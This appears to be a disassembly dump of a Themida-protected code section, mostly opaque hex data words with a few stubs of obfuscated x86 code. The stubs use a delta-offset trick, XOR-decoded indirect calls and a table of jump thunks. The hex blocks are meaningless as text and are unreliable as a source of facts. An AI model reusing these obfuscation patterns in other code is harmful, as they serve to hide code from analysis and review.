0A6479CA9h, 2E9F6352h, 0FD891DEAh dd 72C394BFh, 14FA3D3h, 0E9CD17BEh, 5D5701F5h, 6E51AB50h dd 5FE97BF5h, 9447B3D7h, 6CE34C3h, 0C3944742h, 0E953FDC5h dd 32414B40h, 769h, 7AC8F700h, 50000000h, 0E60ED5DEh, 0C3941DE2h dd 743EB65h, 88C3941Dh, 967A5EB2h, 942D2E5Eh, 24A1E3C3h dd 4D9FAAFFh, 0EDDFABC3h, 595E3C6Bh, 89A79B64h, 0D8F701EEh dd 0ED8DFC74h, 4B493C6Bh, 744355BAh, 0D6DE29EFh, 0B7C10BFFh dd 941D4B3Fh, 48E6DCC3h, 3084B3C5h, 58414C46h, 7CE2714Ch dd 0C3942506h, 0D7228297h, 0B8A286FAh, 0DE08374Dh, 4004C07Ch dd 0FEB9E732h, 0C801FFFFh, 318h, 0F8D5DE50h, 1DBCDC14h dd 8CA6C394h, 0B28F9801h, 677C33A8h, 9AC41238h, 4E89F782h dd 133D16CEh, 0A162B750h, 33EB9F17h, 67CC394h, 9433BACEh dd 0D1350DC3h, 3395C56Dh, 314C394h, 6EF84236h, 943382C6h dd 4C3D05C3h, 0DEDE0839h, 3FB7A5BEh, 0BD84AA9Ch, 85A95EDh dd 0EB866238h, 597B81Fh, 0A2F40000h, 485F48ABh, 0FE0DFA79h dd 0AFF710C3h, 5EA24390h, 1E45FC67h, 599AA5FFh, 896A57ACh dd 263D081Ch, 5281BCC9h, 5F2B43A9h, 0D0C584ADh, 0D5DEFB61h dd 708372F8h, 0F25BAF59h, 0A34C97AEh, 0AEA3EE56h, 5182E6DAh dd 0ED516CB4h, 75D9E43Ch, 4F54418Bh, 0D3D2D472h, 7F465C49h dd 0B499B78Bh, 682516Ch, 1D1470F4h, 0A79BC394h, 0D769789h dd 41533240h, 0C9000002h, 52FCCDDCh, 5E1EBDECh, 303A764Fh dd 6C0F8FB9h, 8D9805D7h, 0E4A6224Ah, 0D129C394h, 273509FDh dd 94E4FB8Fh, 0D8764CC3h, 0B7BEF070h, 0E93FC67Ah, 70836ADEh dd 879DF559h, 0C3D17406h, 71FCEC2h, 0F90A3352h, 0D2000001h dd 0E5770C6Fh, 0F65AAA5Bh, 90BE92AFh, 941D80C4h, 4F3307C3h dd 7A4EC9E7h, 239840C6h, 9E23ABA1h, 694BE5D4h, 0D329D45Ch dd 68B118ECh, 65D77155h, 335161C4h, 1BFEDh, 838E7F00h dd 405034B8h, 0E3D7C285h, 6FFB618Fh, 76E5770Ch, 0DEA88E04h dd 59133D6Eh, 1E3990CFh, 0DFE3A873h, 502DA531h, 58A2C394h dd 3227CF4h, 0B5EFC67Ah, 5B29C038h, 81003351h, 98000001h dd 5231E6Dh, 770C6F1Fh, 1D0D41E5h, 0B882C394h, 4E421CD4h dd 0D5CFC67Ah, 0E0920D8h, 5D203351h, 0B8000001h, 889B354Dh dd 95E95DB1h, 0D5DE857Bh, 1DE2E60Eh, 1D65C394h, 0D98C3339h dd 0B706EB88h, 812D52B6h, 17B2E876h, 5FA811F9h, 43741094h dd 87FBC394h, 96E6B0A3h, 47AD6556h, 785C5C3Dh, 0ABF77AF2h dd 7248BD9Fh, 0DCEB3DE8h, 3E199E23h, 0E6005A09h, 0B282C262h dd 85573A61h, 84EB0918h, 7DE6302Bh, 0AD072105h, 9441E820h dd 20682C35h, 0F4000000h, 0E4760D6Fh, 9F05D140h, 90645EBDh dd 60CB3050h, 2EBFE53Ah, 35C733DAh, 991E2Ch, 0DEE60000h dd 8372F8D5h, 0A6AA447Bh, 2E92ADF7h, 0AB1F2A7Fh, 5F84B1C2h dd 941866D7h, 81BCC9C3h, 0E3780452h, 7012F579h, 0AF934266h dd 754850BDh, 64B362EEh, 4E52BB55h, 709CF877h, 0C743865Fh dd 36C00h, 407F8B00h, 16237293h, 0F8D120CDh, 4D748A7Bh dd 1C237996h, 926970C7h, 43ACB78Eh, 33DC073Ah, 9C09EAE5h dd 54A5BE8Bh, 0AF741094h, 0CFBC584h, 0DDADE94h, 941DED99h dd 46EE62C3h, 0C3941D02h, 6559BD85h, 0C90411FEh, 691D9123h dd 0FEC3941Dh, 0D7E23584h, 0DE46BE39h, 0A514F8D5h, 72FE6550h dd 0A10B0BCDh, 37D1D692h, 948BDEAFh, 0F78C10C3h, 0B864DB65h dd 0C7251CD1h, 2B32C26Ch, 4BD9F67h, 5D8F2C3Eh, 0FBD55786h dd 8B09EA04h, 14F8D5DEh, 0F7C2D7C6h, 2C21CF03h, 2975EEDBh dd 7F4A5D53h, 0D05DD11Bh, 8BD9F19h, 92BC8B9Dh, 6E9F4DB5h dd 0BFF2928h, 60E7ABDBh, 0AB3A7E3Ah, 3506B851h, 41912Ch dd 6F7F0000h, 5AE4760Dh, 71E34BE5h, 83ADCD3Eh, 9F9942F3h dd 63D72BBDh, 616F83C3h, 0DBF2023Ah, 477E8677h, 0E9F91F3h dd 48AC93E9h, 8F98C795h, 0B94855BCh, 8E1F99B7h, 367CD37Ah dd 0EFFE2Ch, 0BD060000h, 0A4C8F01Eh, 34D2588Bh, 0DF1CCD9h dd 0F379445Ch, 0EECD9E4Ch, 98B6C857h, 81BCC9B0h, 6C59AA5Bh dd 8A9F4EC2h, 41A12549h, 0DC26C394h, 3CE97BF8h, 0A62ED8E9h dd 0C39444F7h, 0CA102D76h, 0CF42ED95h, 0DF0D8EDEh, 94663357h dd 0A04EB4C3h, 4C5845C7h, 37BF8D71h, 0C3946653h, 5C8AEED4h dd 43A9A4F1h, 81754C52h, 4FAFA34Dh, 0A0C4162Dh, 0BD9F51B9h dd 14A5E45Bh, 5AA73BE7h, 886BAFACh, 0A7B5CEAEh, 6C0DFE0Fh dd 0E10B4F44h, 34D2EF34h, 0E314BBAh, 0A5C95BD5h, 3073CF21h dd 5BB25CA6h, 0ADF17E41h, 5E8C69EAh, 1BB13F4h, 0CED80000h dd 74836CF7h, 22719E45h, 0C3DB342Fh, 728667FCh, 3A219043h dd 7DE6D923h, 0ADB68B90h, 0DA193440h, 76EDD82Dh, 0BBCF6785h dd 0CC584A9h, 0DADEC7BDh, 7A8F78FBh, 8E18944Fh, 941D6266h dd 739DE5C3h, 0E30D6F8Dh, 9943A79Ah, 0A428196Ch, 2C90AFF5h dd 905AF4E8h, 9F05BD1Ch, 0E62EDFBDh, 0F8C241EFh, 0C1D7C614h dd 20CE02F6h, 60CB3454h, 32B3E13Ah, 35C72FDEh, 0A71A2Ch dd 0DEE20000h, 0A514F8D5h, 549C605Fh, 0C39418E5h, 0DD063344h dd 66EAE730h, 7FED7606h, 60D10EF7h, 589BFF42h, 77E57E1Eh dd 0D3E238E5h, 4B91F06Fh, 0D7AD802Bh, 0CFF60AF3h, 0D1575521h dd 0A298446Dh, 0D64803B8h, 2B736944h, 0AA444178h, 33DD3158h dd 0B7FE2FB9h, 9BE16C9Ah, 4A4EBFA4h, 291293D0h, 280CEFEDh dd 6B60A1DFh, 1BFC568Ch, 0D1h, 76EDE42Eh, 0A0B38E99h, 0DE053447h dd 9EAE931h, 0BAB9849Ch, 0E339D41Bh, 91E607DCh, 4E56B7ACh dd 0F603EC77h, 79F318DBh, 84A991F5h, 31A716C5h, 78FBDADEh dd 944F7A8Fh, 0F8D5DE6Ch, 0CC708372h, 26AA8EBBh, 1DCC44E2h dd 78263D08h, 3972E924h, 70C37353h, 0A55E2A3Ah, 0E9D1C394h dd 62B667F5h, 0A387BEC6h, 0A55135B9h, 0ECD6C394h, 8B04A842h dd 9CBD843Ch, 67EBE633h, 7F465A23h, 0EF53B78Bh, 1BD8F53Eh dd 0D8AC99EAh, 0A690408h, 7776ACBDh, 0AB48858Eh, 0A81C297Ah dd 369AB9C1h, 591A410Bh, 0A5244335h, 0DAEBCD7Bh, 3440E035h dd 0B23E2519h, 0EB053443h, 50241162h, 14FFh, 7A806D00h dd 7593F75Bh, 4150BD8Fh, 0CABE859Dh, 0C37492F6h, 0FDD4DE55h dd 7A57A009h, 0E6D12796h, 6F52AB12h, 0D7EE329Bh, 5F66BA63h dd 0C5FC02EBh, 40798871h, 0CFFA0DFCh, 4568CF7Bh, 89000041h dd 8952242Ch, 4C281E2h, 83000000h, 148704EAh, 0C895C24h dd 0E3895324h, 4C381h, 0EB810000h, 4, 5C241C87h, 81242C89h dd 4ECh, 243C8900h, 66700CBFh, 0EF814704h, 300D31CBh, 7862EF81h dd 814F1D4Dh, 0D27FCCE7h, 0A0EF811Eh, 890FF19Ch, 8B545FF9h dd 0C483242Ch, 8BB5304h, 81000000h, 67025EBh, 81EB0107h dd 67025C3h, 5B0B8907h, 5D2434FFh, 8B04C483h, 8957240Ch dd 4C781E7h, 83000000h, 3C8704C7h, 0B8E95C24h, 0C8FFFAC8h dd 6DE6E444h, 10B5E6B8h, 0FFC50306h, 59C3B2E0h, 31A157Eh dd 63ACF444h, 0F66AFF40h, 1F42947Dh, 0D807724Bh, 0FBCD8225h dd 8A453A28h, 6CA10606h, 0B649C26Dh dd 3D2ED7Ah, 0CF7174Dh, 16C0DE43h, 446A7954h, 7C3B3F7Dh dd 0D24BDD5Ch, 5EDC6C6Fh, 6055A81Bh, 4A80B164h, 0EBE24E13h dd 80781B22h, 28DC7636h, 3D65BE78h, 0B26CDF64h, 0A63C4A67h dd 0E40CDB4Ah, 7DE2086Fh, 0E9C08B4Dh, 10h, 0BE7DF403h dd 1DB6E394h, 5C7EE93h, 0E7AED871h, 5BDBD83h, 7500060Bh dd 0D1BD8309h, 60B29h, 53501974h, 0FCB8C08Bh, 89000003h dd 0B2A3585h, 1A9D8D06h, 0FF060DB3h, 83585BD3h, 0B29D1BDh dd 17740006h, 0FCB85350h, 89000003h, 0B2A3585h, 99D8D06h dd 0FF060DB0h, 6A585BD3h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 0E9C6C356h, 0Dh, 4FAF4E5Dh dd 0FF16577Dh, 1D330446h, 56006A0Eh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 103C8F79h dd 8B97B604h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 0AA2E12E5h, 0C158D36Fh, 0CB816614h dd 0BD837C1Eh, 60B0B19h, 63840F01h, 0F000000h, 1181h, 0B8C0F00h dd 0E9000000h, 6, 6262B61Eh, 0BD832296h, 60B0E31h, 3F850F00h dd 80000000h, 0BD8335EFh, 60B2715h, 7D840F00h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 9EBEC357h, 8C212EABh, 7E91703h, 88000000h dd 0C014DF08h, 1FE9C200h, 0E9000004h, 0Eh, 64315148h, 5B23C443h dd 0BAB11C52h, 0FE81h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 0DA9009C3h, 0FD2A22Eh dd 286h, 66D88B00h, 0F381D68Bh, 57FF71EFh, 80800BEh, 4C8CB389h dd 0B0ECBF25h, 1C1D7A66h, 0F1F81B94h, 0D1568476h, 0FD923041h dd 6767B368h, 0BC0565CCh, 25ECB599h, 4AB87564h, 65C784C8h dd 59F13D9Eh, 0B0ECB58Ah, 3F87F916h, 0E6273FF8h, 672AD681h dd 38BBAA1Eh, 59563A0Bh, 0B0ECB024h, 0B0EC5D66h, 31B1B599h dd 0A0545F21h, 0E3ECDF60h, 0B0ECB6DBh, 73B79599h, 94B03C97h dd 94A83462h, 0B0ECA037h, 73BFF699h, 0B704BA51h, 0E0ECB566h dd 177FF1E6h, 35E33106h, 0B0ECB5CAh, 15CF66E7h, 0DAB6883Fh dd 0B304E599h, 90ECB5CCh, 39B4763Eh, 31E89177h, 0ACE891DDh dd 0F0ECB5CCh, 9C2D7636h, 927EFD77h, 3B9990E6h, 7D0A350Ch dd 0B0E05DF6h, 4A04B533h, 63300F83h, 3C265DFBh, 5D576A84h dd 0EABE8D32h, 7156D3C9h, 0B0862569h, 0B0EF5D37h, 0E9CCB533h dd 0FC65EC5Ah, 0F46DB1E8h, 0B0F1B142h, 0E1ADB533h, 0C9F6265Ah dd 298955FFh, 3BA64FDEh, 5B6DD3E0h, 0B1E3FAE9h, 0DA129180h dd 0B304E766h, 90ECB533h, 39B676C3h, 31E89198h, 0A5E89122h dd 0F2ECB533h, 580476CBh, 0B5EC0294h, 0B0ECB76Ah, 58BDB559h dd 0B0ECB59Ah, 0E92FECECh, 0B4C8F9EFh, 0B4C8F1B2h, 0B0ECB58Fh dd 142FE48Dh, 0B86735E7h, 58BEB559h, 0B0ECB59Ah, 0EA2FEFECh dd 0B4C8E1EFh, 0B4C8F1B2h, 0B0ECB584h, 0AD2FE78Eh, 3B453562h dd 0FFCFAD75h, 6953BAB8h, 0D6343EAAh, 0DA10FDEDh, 0B304E033h dd 90ECB599h, 39B17691h, 31E8910Ah, 0A7E89177h, 0F5ECB599h dd 0B8BA7699h, 7B6C2D2Bh, 14960F38h, 0B154CF7Ah, 0DAECB5CCh dd 0B304E266h, 90ECB533h, 39B376C6h, 31E891B0h, 0ABE89122h dd 0F7ECB533h, 3BD576CEh, 0B80833FAh, 0BB045BFDh, 32ECB533h dd 372D08FFh, 6D47F615h, 4CBBF2C6h, 505AEF68h, 398B06C9h dd 0BC0491C0h, 52ECB566h, 549BC57Bh, 0D67BEBB2h, 59F9AD34h dd 0B0ECB560h, 5D990BDFh, 0D6B68D19h, 30E36C40h, 0B0ECB56Ah dd 0B0EA303Ch, 3BE3B599h, 0B0ECB5CCh, 0BFE87490h, 0B0EC43B6h dd 0E6ECDF99h, 0B0ECB624h, 73B29566h, 94983C6Dh, 94A8349Dh dd 0B0ECA8C8h, 73BAF366h, 0E3458DC3h, 7DE2D44h, 695699D2h dd 0BF8DAD87h, 0B0ECB7BAh, 0E9183F99h, 58BDB5A6h, 0B0ECB565h dd 0E92FEC13h, 0B4C8F910h, 0B4C8F14Dh, 0B0ECB57Ah, 8E2FE472h dd 3DE65C6Fh, 35FA48E6h, 30340A69h, 35E3DD0Ah, 0B0ECB4BDh dd 0B46EBA9Bh, 0D6ECB566h, 0EBC32E88h, 0D6EDCC12h, 3105C876h dd 0B0ECB599h, 0B56EBAB3h, 0AECB598h, 0F2377249h, 8B230A1h dd 0B0EDB323h, 0B086B599h, 0B0EF5D99h, 0EDCCB566h, 0DC65E8F0h dd 0F46DB1BDh, 0B0F1B1E8h, 0E5A9B566h, 2838B1F0h, 5679483Ah dd 59C17D70h, 0B0ECB563h, 0A8AA3E9Ah, 0B0005CBAh, 32E3B5CCh dd 0B0ECB563h, 0BDE9D488h, 0B05E5CD8h, 0B086B5CCh, 0B0EF5D30h dd 0EECCB533h, 0C465EB5Ah, 0F46DB1E8h, 0B0F9B142h, 0E6AAB533h dd 0D6BE165Ah, 0E9146F47h, 58BBB50Ch, 0B0ECB530h, 0EF2FEAB9h dd 0B4C8C945h, 0B4C8F1E7h, 0B0ECB52Eh, 0D62FE2DEh, 0F14BC054h dd 311C555Eh, 0B0E15D67h, 4CCAB599h, 2D9B8A5Fh, 0E78F4CDDh dd 0E23101DFh, 932C6718h, 0EBB7F4B0h, 0BB953600h, 0F568BACCh dd 0DAECB599h, 0B304E4CCh, 90ECB566h, 39B5766Ah, 31E891D5h dd 0ACE89188h, 0F1ECB566h, 75B67662h, 0D8623279h, 59757DB4h dd 0B0ECB576h, 203DC260h, 37BDF3EBh, 68C2C565h, 6092D3A3h dd 8B230F4h, 0B0EDB389h, 6A67B5CCh, 0E2ECDF2Eh, 0B0ECB6DBh dd 73B69599h, 94B83C96h, 94A83462h, 0B0ECAC37h, 73BEF799h dd 3C971C1Ch, 318AF31Bh, 30EC8AC0h, 0E855B653h, 3DC008C5h dd 0A052C0E3h, 36513835h, 8BEAA525h, 80EBC134h, 0F7256469h dd 0B08640D8h, 0B0EF5DCAh, 0EBCCB5CCh, 0EC65EEA5h, 0F46DB117h dd 0B0F7B1BDh, 0E3AFB5CCh, 0AB8B12A5h, 1B538C0Ah, 6B6DD360h dd 0B086D48Eh, 0B0EF5D34h, 0EACCB533h, 0E465EF5Ah, 0F46DB1E8h dd 0B0FBB142h, 0E2AEB533h, 0F412A15Ah, 0B367BA0Eh, 30ECB566h dd 0D6F72FCh, 0B6E7BE80h, 3868BACDh, 0DAECB566h, 0B304E033h dd 90ECB599h, 39B17691h, 31E8910Ah, 0ABE89177h, 0F5ECB599h dd 17F37699h, 210974CDh, 0D6F927Eh, 0B6E7BBA8h, 0E869BACCh dd 0DAECB566h, 0B304E333h, 90ECB599h, 39B27692h, 31E89112h dd 0A9E89177h, 0F6ECB599h, 68F5769Ah, 91812A20h, 2C3E3455h dd 0A55136B6h, 0B0EABEEBh, 0B0BC3169h, 0B086B533h, 0B0EF5DCCh dd 0EDCCB5CCh, 0DC65E8A5h, 0F46DB117h, 0B0F0B1BDh, 0E5A9B5CCh dd 0C25A9BA5h, 0B85B794Fh, 5915700Dh, 0B0ECB57Ah, 58BCB50Ch dd 0B0ECB530h, 0E82FEDB9h, 0B4C8F145h, 0B4C8F1E7h, 0B0ECB52Bh dd 0CD2FE5D9h, 7C4ADCh, 819877E7h, 0D6FBEFEh, 0B6E7BE80h dd 0E969BACDh, 31ECB566h, 0D1AD01E0h, 0B086E8A1h, 0B0EF5D99h dd 0EDCCB566h, 0DC65E8F0h, 0F46DB1BDh, 0B0FBB1E8h, 0E5A9B566h dd 0A43F1EF0h, 733B3E8Dh, 58BEB5A6h, 0B0ECB565h, 0EA2FEF13h dd 0B4C8E110h, 0B4C8F14Dh, 0B0ECB57Bh, 342FE771h, 37E7D1h dd 70EA1D67h, 0B0DC5CE4h, 5B6DB533h, 9F50B4E1h, 0F49E0E91h dd 0DA239F98h, 0B304E333h, 90ECB599h, 39B27692h, 31E89112h dd 0A8E89177h, 0F6ECB599h, 0D1C0769Ah, 0D68052ADh, 0D6166B8h dd 0B6FC0D0Dh, 0EAE3841h, 0AD54B376h, 83978F6Fh, 0BBFEF01Ch dd 71239ECAh, 8C5E855h, 0C0E33DC0h, 3835A052h, 0A5253651h dd 0C1348BEAh, 646980EBh, 0E983F725h, 83A4F305h, 10B85EBDh dd 0D740006h, 4DD78D8Dh, 1B8060Bh, 0FF000000h, 6A40E1h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 0A3FCD6C3h, 68C0Fh, 0EA810000h, 44856454h, 8354D380h dd 6A2DE8h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 5BCD92C3h, 18820FD4h dd 0F000000h, 1284h, 0DE900h, 0B5180000h, 33143080h, 4309C6ADh dd 8B1DD51Bh, 39EF80C0h, 5BDBD83h, 7500060Bh, 0D1BD8309h dd 60B29h, 53501974h, 0FCB8C08Bh, 89000003h, 0B129985h dd 819D8D06h, 0FF060DB3h, 83585BD3h, 0B29D1BDh, 17740006h dd 0FCB85350h, 89000003h, 0B129985h, 229D8D06h, 0FF060DB0h dd 6A585BD3h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 6B03C350h, 0F56E5F4h, 0E381D8B7h dd 70959029h, 8D8DC08Bh, 610C050h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 0FC35040h, 0C0976803h, 3396D32Dh dd 0B2489B5h, 4D8D8906h, 89060B17h, 0B0FE19Dh, 1985C706h dd 60060B01h, 6A000060h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 4A8FC350h, 8F0F3D6Bh dd 8, 2830Fh, 61600000h, 100985C7h, 60Bh, 13E80000h, 6A000000h dd 5E8C46B7h, 447F7BB2h, 887ECE7Dh, 0F38389B4h, 0B58B9C19h dd 60B21C1h, 49B5FF5Fh, 0E9060B1Ah, 7, 419C6932h, 0FF52ADA7h dd 0B0AC595h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 0FDF8ED4h, 886h, 28D0F00h, 60000000h dd 6880F61h, 89000000h, 0B04ED85h, 0FF006A06h, 0B32DD95h dd 0EBC08B06h, 0E49B8E0Dh, 0C06716CFh, 13F8F7DDh, 24EB4FC5h dd 9 dup(0) ; --------------------------------------------------------------------------- jmp loc_5981EE ; --------------------------------------------------------------------------- mov [ebp+610C064h], esi mov eax, [ebp+60B0B19h] mov eax, [ebp+60B0939h] lea esi, [ebp+610C0AEh] lea eax, [ebp+60E4D7Eh] call eax retn ; --------------------------------------------------------------------------- push ebp call $+5 pop ebp sub ebp, 610C0B4h cmp dword ptr [ebp+60B0B19h], 1 jnz loc_598198 push dword ptr [ebp+610C064h] mov eax, [ebp+60B0939h] xor eax, 34812736h call eax cmp al, 1 jnz loc_598191 mov eax, 1 jmp loc_5981D8 ; --------------------------------------------------------------------------- loc_598191: ; CODE XREF: Themida_:00598181j xor eax, eax jmp loc_5981D8 ; --------------------------------------------------------------------------- loc_598198: ; CODE XREF: Themida_:00598166j push 1Ch lea esi, [ebp+610C068h] push esi push dword ptr [ebp+610C064h] mov eax, [ebp+60B0939h] xor eax, 34812736h call eax add esp, 0Ch lea esi, [ebp+610C068h] mov eax, [esi+14h] and eax, 4 cmp eax, 4 jz loc_5981D3 xor eax, eax jmp loc_5981D8 ; --------------------------------------------------------------------------- loc_5981D3: ; CODE XREF: Themida_:005981C6j mov eax, 1 loc_5981D8: ; CODE XREF: Themida_:0059818Cj ; Themida_:00598193j ... cmp dword ptr [ebp+60B0B19h], 1 jnz loc_5981EC pop ebp retn ; --------------------------------------------------------------------------- jmp loc_5981EE ; --------------------------------------------------------------------------- loc_5981EC: ; CODE XREF: Themida_:005981DFj pop ebp iret ; --------------------------------------------------------------------------- loc_5981EE: ; CODE XREF: Themida_:0059812Cj ; Themida_:005981E7j lea eax, [ebp+610C08Dh] mov [ebp+60B0DD9h], eax jmp loc_598297 ; --------------------------------------------------------------------------- db 94h dd 5000000h, 1000000h, 28000000h, 200000Ah, 20h dup(0) dd 2B000000h db 0BBh, 57h, 4Eh ; --------------------------------------------------------------------------- loc_598297: ; CODE XREF: Themida_:005981FAj jmp loc_598E4C ; --------------------------------------------------------------------------- push 610C36Eh jmp loc_543FDB ; --------------------------------------------------------------------------- push 610C47Bh jmp loc_543FDB ; --------------------------------------------------------------------------- push 610C56Bh jmp loc_543FDB ; --------------------------------------------------------------------------- push 610C5DCh jmp loc_543FDB ; --------------------------------------------------------------------------- push 610C755h jmp loc_543FDB ; --------------------------------------------------------------------------- push 610C7CEh jmp loc_543FDB ; --------------------------------------------------------------------------- push 610CB09h jmp loc_543FDB ; --------------------------------------------------------------------------- push 610CC06h jmp loc_543FDB ; --------------------------------------------------------------------------- dd 0AEB58C96h, 0D81B3641h, 76EDDC2Fh, 0A1B28199h, 0D2013C44h dd 9BE17C63h, 494EBFA4h, 0F63EEF74h, 9EEB04DFh, 0A14BB0A3h dd 84DF790Dh, 997FCEC5h, 72F8D5DEh, 7FF14DCDh, 90BE692Fh dd 89C4D1B8h, 30700C6Ah, 0C622E28Ah, 33391D0Fh, 9F4036BBh dd 4F3307BDh, 614EE7E7h, 6766323Ah, 0EAE730DDh, 1A042266h dd 2C355FF3h, 2FDEh, 0D6F2600h, 0D140E476h, 5EBD9F05h dd 39355DBFh, 6E25D2E1h, 0F004F5C1h, 391D71C5h, 0B1ED9D55h dd 78383A60h, 9D76976Dh, 0EC532C35h, 0BD000000h, 14F8D5DEh dd 9C605FA5h, 19EDD82Dh, 896A67B0h, 9418DE65h, 8A9302C3h dd 618FC3B7h, 0BCAE9BECh, 0E6CEBA32h, 0B82C3C6Bh, 3C6BE6CCh dd 0BA807F43h, 0E93AEB8Ch, 6C3068DCh, 94E105D7h, 344260F8h dd 0CC4602AAh, 0F1C93A60h, 0E52BDF46h, 30DE18BFh, 2A74EFD3h dd 8B23C952h, 446DD5E1h, 68FA605Ah, 72BB80C4h, 15330730h dd 6F56AA5Bh, 0B075EFDh, 38004DDh, 9FE502E5h, 61D5E035h dd 403EC92Dh, 738C6B80h, 9803097h, 66B00000h, 0C1BF46Fh dd 0BAC9263Dh, 6BB35C87h, 1A1E8F54h, 5299383Bh, 855E61BBh dd 352E1368h, 62F1CCD8h, 9E457085h, 1377FF6Dh, 94C584DEh dd 1EBDBF25h, 0B21EDFC6h, 3C4831BCh, 1266E701h, 370BADF8h dd 3D11FFE2h, 81BCC926h, 9AA8E45Bh, 8CDC38ECh, 0CB74FEDDh dd 0FE0D9471h, 271B7FC3h, 6F966E09h, 40E4760Dh, 0BD9F05D1h dd 5090645Eh, 3A60CB30h, 0AA2EBFE5h, 0A81C237Bh, 0A940BA54h dd 802C35C6h, 0D5h, 0ED5DE6Ch, 941DE2E6h, 391D65C3h, 2174A133h dd 1DB4D010h, 897BC394h, 184D5BBFh, 29C73B84h, 99EA1B21h dd 718B82ACh, 0A16AFA4Eh, 77C39435h, 0C3D27E86h, 997492F6h dd 26A2B18Ch, 7997A2F7h, 0C2B68394h, 0A349D2AAh, 3195E411h dd 0CF0D4EBh, 70290FC8h, 683C1183h, 312336BEh, 3E04BD9Fh dd 18237925h, 405540D2h, 0A34D8175h, 6C8ABAD3h, 1DCF3344h dd 4E95A8F0h, 0EB645BA1h, 8C6AFAB5h, 7377C83Ah, 0A5000008h dd 0CF97A51h, 0FA2BC8F9h, 0A44192AFh, 13FC675Eh, 962D3609h dd 6954AC4Fh, 39041D8Ah, 8CBBCD3Ah, 506DB657h, 7AF27E83h dd 0C584D90Eh, 0BD4A3281h, 5401801Eh, 1B6CA682h, 311CCA2Eh dd 0D906D4EBh, 49804D14h, 0F56E985Bh, 21320F18h, 0F8D5DED3h dd 0F050A514h, 3A25A9A4h, 3EC0D9D4h, 75694DE8h, 57ECB0EEh dd 7B3A6185h, 0CF33BD84h, 0AAA7F01Dh, 0F603F27Ch, 629618DBh dd 0A83A7B7Fh, 7EF2961Eh, 0D753A7Bh, 0BBC0DBE3h, 52BCD7B8h dd 7ED8ACC0h, 6BAF3A7Bh, 809BE1BDh, 0CADDC85Ah, 19370BFFh dd 7066784Dh, 92F5CD44h, 0B87CF554h, 618517C2h, 0A38F5E65h dd 0DA2990EAh, 277549E7h, 73A6CE1Ch, 0F4DD846Fh, 0C5303A8Eh dd 0CB0A0EB6h, 12F0347h, 9644DFBDh, 89E2761Eh, 6BF1C9E7h dd 875C69BAh, 27201D66h, 2C509E83h, 833D9270h, 0B5000007h dd 1C896A61h, 0CA3B3809h, 0B45182BFh, 638C576Eh, 863D2619h dd 5964BC5Fh, 29146D9Ah, 0FCCBDDCAh, 407D8667h, 6A826E93h dd 0C584D81Eh, 6FBA2291h, 77E4760Dh, 5052F48Ah, 0BD346C7Eh dd 3C31A453h, 58CC9E48h, 0BD84B373h, 0DA64F6CCh, 0D56E3965h dd 0CF03F7C2h, 97167030h, 0B0819479h, 63342A3h, 83BECBB2h dd 62371844h, 8C43C786h, 712h, 1AD9F002h, 0B4AF9AEDh, 0E271485Bh dd 1DC6FD05h, 4E95A8F0h, 0F70DE0F7h, 0A5FA2BC8h, 5AAA5B98h dd 217F063h, 0DDF2C37h, 84D8ED99h, 2D9362C5h, 0E4760D6Fh dd 845E5B40h, 344CB9BDh, 1A60DF09h, 28586BD0h, 702CE964h dd 9CE914D6h, 97E4B2A1h, 9C980A57h, 0AB9EB984h, 14C63A65h dd 0CE388A7h, 0A7FF5303h, 0E08AA498h, 7BC72C4Ch, 0E73FEE3Ah dd 152871D8h, 44C36DA1h, 0F401EC7Eh, 0F71175D9h, 0C7B2D313h dd 33613A7Bh, 0E6AF5EB2h, 429A2C2Fh, 62000000h, 0E5770C6Fh dd 635AAA5Bh, 1D5931C5h, 29BBC394h, 941DC185h, 91E946C3h dd 0A3A04EA2h, 0D761EB5Fh, 941D2B5Fh, 0A846BCC3h, 941DACDCh dd 0AA3B79C3h, 400CB756h, 79232h, 0C87A0000h, 209h, 0C233BD50h dd 0D83C80BDh, 941D7C08h, 0F1AF3C3h, 160A4E32h, 0C4F88DF8h dd 0D1E036B8h, 77BE6FFDh, 5B998181h, 9EF2967Bh, 3CEAD52Fh dd 0CA0F3AB2h, 3A00BD9Fh, 261B01C5h, 0D1ABECCBh, 8416A04Ah dd 0DEEB6460h, 7997EB89h, 0D5DAC8EDh, 0F145BDF7h, 9258E3B9h dd 2F30DB00h, 2C6EE57Ch, 0ABE3A024h, 0E2082787h, 1DCAAA8Ah dd 971FCD21h, 87AB35F3h, 0EE00E74h, 0A6FAFEE6h, 0EFF71F9h dd 4206CE03h, 0C5FDA4B6h, 0CF231268h, 0B6FD891Dh, 872FDA4h dd 0C2D7C614h, 76836CF7h, 0A7FA8C5Bh, 0C9394221h, 59976h dd 407F8B00h, 16237293h, 0F8D120CDh, 4D748A7Bh, 1C237996h dd 926970C7h, 43ACB78Eh, 33DC073Ah, 9C09EAE5h, 54A5BE8Bh dd 0DA741094h, 0CFBC584h, 0F8D5DE94h, 66881414h, 5461B21Eh dd 54488C70h, 72C77486h, 0B0525AF4h, 4AE76F99h, 0F6BD9FAEh dd 73C7F207h, 6F66AE1Fh, 8A89A79Bh, 9D11D225h, 3A619FE9h dd 5C20047Eh, 2EDF0478h, 691FE8E5h, 9E865CD1h, 520D3B4h dd 6100000h, 0ACFB14CFh, 5AA9469Dh, 0B13FC67h, 0BAFE2F34h dd 0F2F9589Bh, 253E011Bh, 558EB3C8h, 82516CB8h, 3E251065h dd 0F3971FCDh, 74C584DAh, 1EBD1F85h, 8AE879B4h, 0F3971F81h dd 74C394EDh, 11FC2A0Eh, 0F223C904h, 2F4795ACh, 0C394ED5Bh dd 0D038D62Ch, 60B41C69h, 0A79BBAC0h, 1D6C9943h, 0CA64582Ch dd 0F9E9846h, 0ED359DE6h, 